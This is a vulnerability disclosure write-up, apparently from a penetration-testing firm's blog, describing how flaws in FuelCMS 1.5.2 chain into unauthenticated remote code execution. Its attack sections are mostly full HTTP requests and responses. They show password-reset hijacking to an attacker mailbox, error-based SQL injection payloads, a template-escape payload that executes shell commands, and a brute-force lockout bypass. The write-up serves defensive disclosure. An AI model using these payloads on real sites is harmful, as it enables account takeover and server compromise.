Throwing a spark into FuelCMS
- Publisher
- Pentest-Tools.com
- Updated at

- Article tags
Throwing a spark into FuelCMS
Well, the merry season may be over but the fumes of past software burnt still lingers. And what better example of software equivalent to a canister of benzene is there than FuelCMS?

But what is FuelCMS? Well to keep it simple:
FUEL CMS is a CodeIgniter(3) based content management system.
What is a CMS? Relevant question, but a bit out of scope for the hacker perspective, so we will nonchalantly skip over it.
We already knew that FuelCMS was vulnerable even before we started working on it, but, through our jolly research sprint, we were able to find the following 7 vulnerabilities in the latest stable release v1.5.2 (which has been dead for 4 years so take the word “latest” with a grain of salt):
PTT-2025-025 - Account Takeover via Email Array
PTT-2025-026 - PHP Code Execution Via Dwoo Escape
PTT-2025-027 - Improper Authorization
PTT-2025-028 - Authenticated RCE via Git Submodules
PTT-2025-029 - Password Reset Poisoning via Host Header
PTT-2025-030 - SQL Injection via Password Reset
PTT-2025-031 - Sensitive File Read via Path Traversal
Note: FuelCMS has a newer version of the code in the “develop” branch, but we have only tested the latest stable release 1.5.2.
The cool part is that by combining PTT-2025-025 - Account Takeover via Email Array and PTT-2025-026 - PHP Code Execution Via Dwoo Escape (maybe with some PTT-2025-030 - SQL Injection via Password Reset and PTT-2025-027 - Improper Authorization sprinkled in) we get an unauthenticated 0-click Remote Code Execution (RCE) chain, the only requirements being that:
The admin interface is enabled and is accessible to the attacker
FuelCMS has to be able to send mails to attacker controlled addresses

PTT-2025-025 - Account Takeover via Email Array
Well, as a person that has a mild panic attack whenever I hear the new mail notification go off, it’s time to give people a new dimension of panic to think about.
We also lovingly call PTT-2025-025 by “You’ve got Mail Mal”, as, if you use this software, we may have gotten into your mailbox. Now, if you would be so kind as to not notice me, senpai, while I take over your account, that would be great!

Note: If you haven’t already found a legitimate user’s email, refer to the “Bonus Time > Bypass Bruteforce Protection” section to see how you can bruteforce multiple emails.
The malicious HTTP forgot password request should look something like this, where “aaa@localhost.localdomain” is the email of a valid FuelCMS user and “mal@pentest-tools.attacker” is a malicious attacker controlled email:
POST /index.php/fuel/login/pwd_reset HTTP/1.1
Host: 172.17.0.2
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0
Content-Type: application/x-www-form-urlencoded
Cookie: ci_session=***REPLACE_ME***
Content-Length: 134
email[]=aaa@localhost.localdomain&email[]=mal@pentest-tools.attacker&Submit=Submit&ci_csrf_token_FUEL=***REPLACE_ME***Note: For the request to work, you have to get a valid “ci_session” - “ci_csrf_token_FUEL” pair.
By inspecting the resulting mail, we can see that it was sent to the two different emails specified in the above request:
sender_fullname: www-data
sender: www-data@smtp.ptt
*** MESSAGE CONTENTS deferred/F/F1B8E44A384 ***
Received: by 383bca28d7e6 (Postfix, from userid 33)
id F1B8E44A384; Thu, 6 Nov 2025 16:37:59 +0100 (CET)
To: aaa@localhost.localdomain, mal@pentest-tools.attacker
Subject: =?UTF-8?Q?FUEL=20admin=20password=20reset=20request?=
Date: Thu, 6 Nov 2025 07:37:59 -0800
From: "My Website" <admin@172.17.0.2>
Reply-To: <admin@172.17.0.2>
User-Agent: CodeIgniter
X-Sender: admin@172.17.0.2
X-Mailer: CodeIgniter
X-Priority: 3 (Normal)
Message-ID: <690cc0d7eeed0@172.17.0.2>
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Click the following link to reset your FUEL password:
http://172.17.0.2/fuel/login/reset/d31747db59d2b297c96e51a219874fa9644301bae8d6fb19092ad7a38e38eb8b
With the email successfully received at “mal@pentest-tools.attacker”, we can proceed to take and directly insert the link containing the reset password token into our browser of choice and reset the victim’s password:

POST /fuel/login/reset/d31747db59d2b297c96e51a219874fa9644301bae8d6fb19092ad7a38e38eb8b HTTP/1.1
Host: 172.17.0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 205
Cookie: ci_session=***REPLACE_ME***
email=aaa%40localhost.localdomain&password=ptt&password_confirm=ptt&Submit=Submit&_token=d31747db59d2b297c96e51a219874fa9644301bae8d6fb19092ad7a38e38eb8b&ci_csrf_token_FUEL=***REPLACE_ME***Note: You’ll need to insert the token twice: once in the URL and once in the “_token” post parameter.
If the password is successfully reset, FuelCMS will return a success message in the server response. If not, it will return an error message.
Here is an example of how the response looks like in the browser, when the password reset is successful:

PTT-2025-030 - SQL Injection via Password Reset - Optional
You can usually guess the username from the victim’s email address, but, in extreme/nonstandard scenarios, we can just simply use an … I don’t know … error based SQLi to exfiltrate the username straight from the DB.

aaa@localhost.localdomain”, but, as I don’t want to double the length of this article, let’s just focus on the error based exfiltration vector.
This occurs because the “email” and “_token” parameters are not sanitized when added to the resulting SQL query.
Side-Note: The token in the URL is also theoretically injectable, but the “$config['permitted_uri_chars']” in “fuel/application/config/config.php” prevents us from inserting the double quotes needed to extend the query.
Also, although we can theoretically get an infinite amount of reset tokens using PTT-2025-025 - Account Takeover via Email Array, in order to not invalidate the reset token after every query we can use the following error based exfiltration request:
POST /index.php/fuel/login/reset/fd9a588bbf115d548303467a2bac86309029579362fe7b22380f9c32bdc994dc HTTP/1.1
Host: 172.17.0.2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygwmW0g0YB04ItUgz
Content-Length: 854
Cookie: ci_session=***REPLACE_ME***
------WebKitFormBoundarygwmW0g0YB04ItUgz
Content-Disposition: form-data; name="email"
also_injectable
------WebKitFormBoundarygwmW0g0YB04ItUgz
Content-Disposition: form-data; name="password"
ptt
------WebKitFormBoundarygwmW0g0YB04ItUgz
Content-Disposition: form-data; name="password_confirm"
ptt
------WebKitFormBoundarygwmW0g0YB04ItUgz
Content-Disposition: form-data; name="Submit"
Submit
------WebKitFormBoundarygwmW0g0YB04ItUgz
Content-Disposition: form-data; name="_token"
" and CASE WHEN (Select user_name FROM fuel_users WHERE email = "aaa@localhost.localdomain") LIKE "***BRUTEFORCE_ME***%" THEN FALSE ELSE CAST((Select 1 UNION SELECT 2) AS INT) END and 1="2
------WebKitFormBoundarygwmW0g0YB04ItUgz
Content-Disposition: form-data; name="ci_csrf_token_FUEL"
***REPLACE_ME***
------WebKitFormBoundarygwmW0g0YB04ItUgz--Note: As our initial token “d31747db59d2b297c96e51a219874fa9644301bae8d6fb19092ad7a38e38eb8b” was invalidated after successfully resetting the victim’s password, we need to get the new token “fd9a588bbf115d548303467a2bac86309029579362fe7b22380f9c32bdc994dc”. If you want to prevent sending multiple emails, then first use the reset token for the SQLi to exfiltrate the username and afterwards reset the victim’s password.
Depending if the malicious CASE results in a true or false result, the following occurs:
If true, we receive a 302 HTTP response and we find out the username starts with the letter “a”
If false, we know the username doesn’t start with the letter we tried, and we receive back a 500 HTTP response. This is due to a MySQL/MariaDB error because “Subquery returns more than 1 row”.
This happens because, behind the scenes, the final malicious SQL query will have the following form:
SELECT `fuel_users`.*
FROM `fuel_users`
WHERE (`reset_key` = "" and CASE WHEN (Select user_name FROM fuel_users WHERE email = "aaa@localhost.localdomain") LIKE "***BRUTEFORCE_ME***%" THEN FALSE ELSE CAST((Select 1 UNION SELECT 2) AS INT) END and 1 = "2" AND `email` = "also_injectable")
ORDER BY `id`
LIMIT 1Now it becomes a simple character, number and/or symbol bruteforce problem where we see what responses return 302, and then bruteforce the next letter. Example:
***BRUTEFORCE_ME***% => Finds first character
a***BRUTEFORCE_ME***% => Second character
aa***BRUTEFORCE_ME***% => Third character
aaa***BRUTEFORCE_ME***% => No forth character => Most Queries should result in a 500 errorTo be 100% sure the username extracted matches the DB, you can use equals (“=”) instead of “LIKE”. Example of payload inserted in “_token”:
" and CASE WHEN (Select user_name FROM fuel_users WHERE email = "aaa@localhost.localdomain") = "aaa" THEN FALSE ELSE CAST((Select 1 UNION SELECT 2) AS INT) END and 1="2PTT-2025-026 - PHP Code Execution Via Dwoo Escape
Ok, cool, we found/guessed the username, we reset the password, and managed to login. Now what?
Well, we’re simple people, so the answer to most of our questions is RCE.
Q: What do we want? => A: RCE!
Q: When do we want it? => A: RCE?
Q: What’s for dinner? => A: RCE!!!
Yeah, your mileage may vary if you respond to anything with “RCE”, but, hey!, it sometimes works, and sometimes it’s all we need.
Now, unsurprisingly, the component we used to get said RCE is the Dwoo PHP templating engine (think of it as a software created to be a potential replacement to Smartly) which should serve as a sandboxed environment in which you have dynamic content, but disallow users from directly inserting raw PHP code (at least in theory).
However, the surprising part is: why does FuelCMS use a 12 year old version of Dwoo, not even the latest version of the Unmaintained software that was last updated 8 years ago?


while” into a “foreach”, I don’t think it fixes ANYTHING.

However, we observe that some TEs do not properly perform all the necessary sanitization, causing template escape bugs. For example, the Dwoo template code “
{assign bar foo}” is used to assign the foo variable with a constant string “bar”. During the code generation, the template code is translated into a PHP function invocation statement, and the constant string “bar” is used as a parameter. However, though Dwoo has sanitized some characters (e.g., ‘(’) for the constant string attribute, we find that it forgets to sanitize the character ‘\’.Therefore, TEFUZZ reports an escape bug in this case.
TL;DR: Dwoo doesn't handle “\” well and we can abuse that.
After some testing, we found that the “Blocks” module uses Dwoo and we were able to reach it via the following request:
POST /fuel//preview?module=blocks&field=view HTTP/1.1
Host: 172.17.0.2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4yM7ui9zwexMktx8
Content-Length: 155
Cookie: ci_session=***REPLACE_ME***; fuel_0ed5154a6a4d9ab98816b54f2368f7ec=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A0%3A%22%22%3B%7D;
------WebKitFormBoundary4yM7ui9zwexMktx8
Content-Disposition: form-data; name="data"
{assign(aaa\ 'bbb')}
------WebKitFormBoundary4yM7ui9zwexMktx8--As we’re doing “shenanigans”-es, of course the application returns a “500 Internal Server Error” and tells us that we have inserted … invalid syntax PHP code!? Well there goes the theory that Dwoo prevents the insertion of raw PHP.
HTTP/1.1 500 Internal Server Error
***TRUNCATED***
An uncaught Exception was encountered</h4>
<p>Type: ParseError</p>
<p>Message: syntax error, unexpected 'bbb' (T_STRING), expecting ')'</p>
<p>Filename: /var/www/fuel_cms/fuel/application/cache/dwoo/compiled/4fc94af85d995b99a518e05ae37000aa.d17.php
***TRUNCATED***By inspecting the content of the new PHP compiled file which we got from the path the server error returned, we can see that, due to the backslash (“\”) that escapes the string’s singlequote character (“'”), the string is extended from the safe value “'aaa\'” to “'aaa\', '” and thus the “bbb” element is being treated as a PHP T_STRING object:

{assign(aaa\ '. die(`id`));//')}Of course, to send the payload to the server we’ll need to wrap it into a HTTP POST request like this one:
POST /fuel//preview?module=blocks&field=view HTTP/1.1
Host: 172.17.0.2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4yM7ui9zwexMktx8
Content-Length: 167
Cookie: ci_session=***REPLACE_ME***; fuel_0ed5154a6a4d9ab98816b54f2368f7ec=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A0%3A%22%22%3B%7D;
------WebKitFormBoundary4yM7ui9zwexMktx8
Content-Disposition: form-data; name="data"
{assign(aaa\ '. die(`id`));//')}
------WebKitFormBoundary4yM7ui9zwexMktx8--And, if we are lucky (who needs luck when you have a 100% reproducible exploit?), we’ll get the output of the executed system command, in this case the Linux “id” command, in the server response:
HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 11:56:16 GMT
Server: Apache/2.4.58 (Ubuntu)
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Length: 57
Content-Type: text/html; charset=UTF-8
<p>uid=33(www-data) gid=33(www-data) groups=33(www-data)This happens because after the Dwoo template is transformed into PHP, we can see that our injected code has taken the following form:
<?php echo $this->assignInScope('aaa\', '. die('id'));//');?>
PTT-2025-027 - Improper Authorization - Honorable Mention
We’ll also make a short and sweet honorable mention for PTT-2025-027 to note that, even though a user may not have privileges on the "Blocks" module, any user can call the “/fuel/preview?module=blocks&field=view” endpoint.
TL;DR: As long as you successfully take over any account via PTT-2025-025 - Account Takeover via Email Array, you can perform the RCE attack presented in PTT-2025-026 - PHP Code Execution Via Dwoo Escape.

aaa@localhost.localdomain” account even though, in theory, this user shouldn’t be able to call the “Blocks” module:

aaa@localhost.localdomain” user has no permissions whatsoever, so it should barely be able to log in … let alone to get RCE. 😅
Bonus Time
Bypassing bruteforce protection
For those in the know, FuelCMS implements a "Bruteforce Protection” to rate-limit attackers trying to guess the login credentials of a user or trying to guess a user’s email via the “Forgot Password” functionality.
In theory, after 3 attempts the application should lock you out for a minute to discourage bruteforcing attempts. In practice, the number of failed attempts of an attacker are stored in the session cookie’s data, meaning that, if you get a new cookie (and CSRF token), you’re a new person that has committed no sin, and can perform more bruteforce attempts.
TL;DR: UNLIMITED BRUTEFORCE!

Step 1: Get a new session cookie (“
ci_session”) and CSRF Token (“ci_csrf_token_FUEL”)Step 2: Bruteforce the next 2 emails
Step 3: Forget current session cookie and go back to step 1
This is very useful if you’ve used OSINT to get a list of potential user emails that you may want to leverage to perform the attack presented at PTT-2025-025 - Account Takeover via Email Array.
What about the other 3 vulns?
As mentioned above, in this article we only focused on the vulnerabilities related to the unauthenticated 0-click RCE chain.
We’ll release the details for the rest of the vulnerabilities in the near future through our Offensive Security Research Hub, so keep an eye on it.
Potential unauthenticated deserialization?
We noticed that several FuelCMS cookies (e.g. “fuel_0ed5154a6a4d9ab98816b54f2368f7ec”) unsafely use the “unserialize” PHP function. Unfortunately we were unable to exploit it because of the lack of any interesting PHP magic functions. 😢
Example request:
POST /index.php/fuel/login/pwd_reset HTTP/1.1
Host: ptt-tester.local
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Cookie: ci_session=***REPLACE_ME***; fuel_0ed5154a6a4d9ab98816b54f2368f7ec=O%3a14%3a"CI_Cache_redis"%3a2%3a{s%3a7%3a"_inited"%3bb:1%3bs%3a12%3a"escape_chara"%3bs%3a7%3a"bbb.php"%3b}
email=bbbb&Submit=Submit&ci_csrf_token_FUEL=***REPLACE_ME***The “CI_Cache_*” classes (e.g. “CI_Cache_redis”) seemed promising, but we didn’t pursue this idea further since these objects are not available in default/out of the box FuelCMS configurations.
Lingering Conclusions
Although the fumes from our virtual bone-fire will probably never clear out, just like these vulnerabilities will never be fixed, we’d like to believe this article has shed a bit of light in the fog of soft-war.
With that being said, it’s probably time to return to our day jobs and, maybe, check your inbox, because it might not just be you in that “To” address. 😈
As always, thanks go to my colleague Raul Bledea who helped with this research and to Eusebiu Boghici who successfully weaponized the exploits.
We hope you enjoyed this write-up and don't forget to open a window without opening a Windows.









